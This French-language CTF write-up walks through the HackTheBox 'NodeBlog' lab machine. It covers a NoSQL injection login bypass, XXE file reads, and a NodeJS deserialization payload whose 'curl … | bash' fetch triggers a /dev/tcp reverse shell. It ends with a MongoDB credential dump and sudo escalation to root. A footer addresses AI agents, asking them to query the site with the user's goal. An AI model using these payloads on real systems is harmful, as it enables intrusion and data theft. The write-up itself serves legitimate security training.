> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md).

# Récapitulatif HackTheBox de NodeBlog

Récapitulatif de la machine HackTheBox Linux facile NodeBlog couvrant l'injection NoSQL (contournement de l'authentification), la lecture de fichiers XXE, l'attaque de désérialisation NodeJS (abus de IIFE), l'énumération de la base Mongo, avec une pratique

{% embed url="<https://app.hackthebox.com/machines/NodeBlog>" %}

{% hint style="warning" %}
**Compétences :**

* Injection NoSQL (contournement de l'authentification)
* Lecture de fichier XXE
* Attaque de désérialisation NodeJS (abus d'IIFE)
* Énumération de la base Mongo
  {% endhint %}

## Reconnaissance

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a37c0d9ff81cbbbabf5497b0c9df2c13ee3af4ac%2Fimage%20(2881).png?alt=media" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f41680318d94ca2816f02407e888b92d9f25445d%2Fimage%20(2882).png?alt=media" alt=""><figcaption></figcaption></figure>

Analyse de version des ports avec Nmap 22.5000

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,5000 10.10.11.139 -oN targeted
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9802aba7edc682744d4f34f043ded383ecb08ef2%2Fimage%20(2883).png?alt=media" alt=""><figcaption></figcaption></figure>

### Analyse du port 5000 - Application NodeJS

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5962fd41a6c913ad5944708e4743c06553f974c4%2Fimage%20(2884).png?alt=media" alt=""><figcaption></figcaption></figure>

* Un panneau d'administration est découvert.
* Le `admin` l'utilisateur est valide.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-827022d04c8924e51804d0cff563cdccb6feb6ba%2Fimage%20(2885).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnérabilité d'injection NoSQL (contournement de l'authentification)

Interception de la requête avec Burp Suite.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1333ce96e08258f5f54703a0b6cae6321a51803%2Fimage%20(2886).png?alt=media" alt=""><figcaption></figcaption></figure>

Tester les charges utiles d'injection classiques :

```bash
username=admin&password[$ne]=toto
```

Cela ne fonctionne pas.

Convertir en JSON et changer le `Content-Type` en `application/json`:

```sql
{
  "user": "admin",
  "password": { "$ne": null }
}
```

Résultat : authentification réussie !

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-867df5221d68233f84b2b1a085c45d568fdd5ef7%2Fimage%20(2887).png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploitation de la vulnérabilité d'injection XXE

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-80af2ea4ce0941d799be213686d7be7e92eec4da%2Fimage%20(2888).png?alt=media" alt=""><figcaption></figcaption></figure>

Envoi d'un fichier TXT : refusé, seuls les fichiers XML sont acceptés.

```
Bonjour ceci est un test
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f53bbf8cdb2e0ab761903fe128265bc6a644f0a%2Fimage%20(2889).png?alt=media" alt=""><figcaption></figcaption></figure>

Format requis :

```xml
<post>
    <title>Article d'exemple</title>
    <description>Exemple de description</description>
    <markdown>Exemple de Markdown</markdown>
</post>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11bafd4b72dc94415155bebd1c91033704f8b182%2Fimage%20(2890).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea4846c5186c1369109a1ac673b8776d5f54248f%2Fimage%20(2892).png?alt=media" alt=""><figcaption></figcaption></figure>

Envoi d'un fichier XML contenant une entité externe pour lire `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>Article d'exemple</title>
    <description>Exemple de description</description>
    <markdown>&xxe;</markdown>
</post>
```

Résultat : le contenu de `/etc/passwd` sont affichés.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a1b719db00f4a7f3fcde233e3f8f67a12e1feaf%2Fimage%20(2893).png?alt=media" alt=""><figcaption></figcaption></figure>

* Découverte d'un utilisateur `admin`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64202dc5277cc5b218c1e77460bfca4982e2a839%2Fimage%20(2894).png?alt=media" alt=""><figcaption></figcaption></figure>

Injection pour lire `/opt/blog/server.js` et identifier les identifiants stockés.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd69d9c7adcc3b5523ce0077713d0fe87e6d9e80%2Fimage%20(2895).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
<post>
    <title>Article d'exemple</title>
    <description>Exemple de description</description>
    <markdown>&xxe;</markdown>
</post>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-540e6a5388312c3aae7c67bd6e2a8570f01c8578%2Fimage%20(2896).png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploitation de la désérialisation NodeJS

* Découverte d'une fonction qui désérialise les cookies de session.

<div data-full-width="true"><figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b2f915aa429e18b3c30348763cee1174ee7b0ed%2Fimage%20(2897).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Création d'une charge utile :

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

Écoute du trafic ICMP avec :

```bash
tcpdump -i tun0 icmp -n
```

* Encodage URL :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29f480cfb0cc159cd0950d7da9bb76c1261ba912%2F%7BBAFDCE09-9711-4185-BB24-4A0E4DAC5F49%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Construction d'une RCE via l'encodage URL et l'injection dans les cookies.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4f7d457a0c99906352591228b261120bb46f3b4%2Fimage%20(2899).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c684d467429d0754df6691b4af413cb2371272a8%2Fimage%20(2900).png?alt=media" alt=""><figcaption></figcaption></figure>

### RCE - Vulnérabilité de désérialisation (nodejs)

Création d'un `index.html` script de shell inversé :

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Démarrage d'un serveur HTTP :

```bash
python3 -m http.server 80
```

Écoute :

```bash
nc -nlvp 443
```

#### Envoi de la charge utile :

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

* Encodage URL :

{% code overflow="wrap" %}

```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Résultat : accès au shell obtenu.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c772ca0a204fd7778d0a4b079c503518620f7d15%2F%7BCB6EA705-F2D9-4542-971F-3B1D69444078%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1af62d3af8110eacc95d0d495f96da394c557f75%2F%7BFACA0D49-E8B1-4BC8-9B44-700ECB4257D2%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Élévation de privilèges

### Énumération de la base Mongo

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71e7bd028c7fed59621fba78814ccde10e9e52e3%2Fimage%20(2901).png?alt=media" alt=""><figcaption></figcaption></figure>

Connexion à la base de données MongoDB (port 27017 ouvert) :

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da7c69cefc94c24ceb5217c2a8eff1d8f873ab0%2F%7B441FD16F-EA2F-475A-880B-885A5078D262%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* utilisateur : admin
* password : IppsecSaysPleaseSubscribe

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f323aa4653ca82859b91b61ee3f34bda34d7f1d7%2F%7BB0D869E1-98AD-45C8-A37A-0CD27A912A0D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudo (ALL:ALL)

Vérification des privilèges sudo :

```bash
sudo -l
```

Résultat : l'utilisateur admin peut exécuter `sudo su` sans mot de passe.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-958a73dfe7eceb591e0cbc1c5b88c636126bc91c%2F%7B2821239A-231F-4C9C-AA64-355C2E6C41C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Passage en root :

```bash
sudo su
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dbad48ebbaab123f06af4cdd78dcb938bd8a022%2F%7BAB86238C-A02B-4D9F-994E-B6A19AF2CB61%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f804261d599f2829475d34d78c48af558c174fb8%2F%7B0F6DAC41-586A-43A2-9397-BD19E9AE9317%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da24b25faa9c14c66547beb0056c61ed9494f1e2%2F%7B69843223-DFF0-46EB-B85C-B1E9FB04275A%7D.png?alt=media" alt="" width="338"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

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